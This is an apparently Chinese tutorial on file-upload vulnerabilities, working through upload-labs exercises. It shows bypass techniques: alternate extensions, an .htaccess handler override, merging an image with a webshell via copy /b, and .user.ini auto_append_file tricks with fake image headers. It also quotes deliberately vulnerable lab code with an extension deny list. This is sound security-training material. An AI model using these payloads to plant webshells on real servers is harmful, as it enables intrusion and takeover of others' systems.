WEB入门——文件上传漏洞

• 1

3.3.2 实战练习 :upload-labs/Pass-03/

• 上传hello.php或hello.pHp提示是不允许上传的类型
  
• 修改后缀为**.php3**，则上传成功。最后可以使用Antsword这类工具进行连接，登录到服务器端。
  
• 题目的PHP代码如下：
  

3.3.3 大量的文件后缀被限制

• 除了限制 ‘.asp’,‘.aspx’,‘.php’,‘.jsp’ 以外 .php3、php4、.PHp（修改大小写）、.phtml、.pht等后缀 也都被限制列。
• 这个时候如果是apache服务器，可以尝试上传 .htaccess后缀文件。文件内容为：<FilesMatch "png"> setHandler appliaction/x-httpd-php FileMatch>
  • 1
  • 2
  • 3
• 该文件上传后，所在目录中名字包含png的文件将会被当做php代码解析。

3.3.4 实战练习 :upload-labs/Pass-04/

• 题目源码：

  $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

• 通过源码可以知道后台过滤大量的后缀名。

  • 将WebShell文件修改成后缀为 .png。
  • 上传 .htaccess 文件。

• 上传WebShell文件成功后，将文件地址保存，方便后续AntSword连接。
  

• 上传 .htaccess 文件

• 使用AntSword通过WebShell路径连接。
  

3.4 图片马绕过

服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀，可能会被pass掉。所以，我们上传的内容必须得有真实的图片内容。

• 题目源码：使用getimagesize函数对上传文件的内容进行判断。

  function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

• 解决办法：

  • 将一张正常的图片与WebShell文件合并成一张图片。
  • 使用CMD的copy /b命令进行合并。D:\文件上传>copy /b hi.png+hello.php hi_hello.png hi.png hello.pHp 已复制 1 个文件。
    • 1
    • 2
    • 3
    • 4

3.4.1 实战练习 :upload-labs/Pass-14/

• 上传WebShell文件，并把后缀改成 .png 但是内容还是一句话木马，上传失败。
  
• 上传刚刚合成的hi_hello.png。提示上传成功，并回显了图片。
  
• 这里上传了图片马，但是服务器过滤了.htaccess文件的上传，为了测试图片马的正常运行，留了文件包含漏洞。利用该漏洞可以查看到图片马正常运行。
  
  

3.5 .user.ini 绕过

自 PHP 5.3.0 起，PHP支持基于每个目录的INI文件配置（ .user.ini ）。此类文件仅被 CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用 .htaccess 文件有同样效果。

• 用法：
  .user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是：我们指定一个文件，那么该文件就会被包含在要执行的php文件中（如index.php）。这两个设置的区别:

  • auto_prepend_file是在文件前插入。
  • auto_append_file在文件最后插入。

• 语法：`

  auto_append_file=hello.png or auto_prepend_file=hello.png
  • 1
  • 2
  • 3

3.5.1 练习

因为upload-labs默认配置是apache+php 不是CGI/FastCGI方式，所以用phpstudy自己搭建一个简单练习环境。

• 在根目录下创建upload文件夹，并在文件夹中添加hello.php和.user.ini、hello.png（hello.png内容为一句话木马）。

• hello.php 内容：

  <?php echo "hello";?>
  • 1

• user.ini 内容：

  auto_append_file=hello.png
  • 1

• 使用AntSword工具连接测试成功，可以入侵服务器。
  

3.5.2 当服务器对.user.ini内容检测时

• 在 .user.ini 前面添加以下内容：

  GIF89 auto_append_file=hello.png
  • 1
  • 2

• 或者

  #define width 100 #define heigh 100 auto_append_file=hello.png
  • 1
  • 2
  • 3

continue…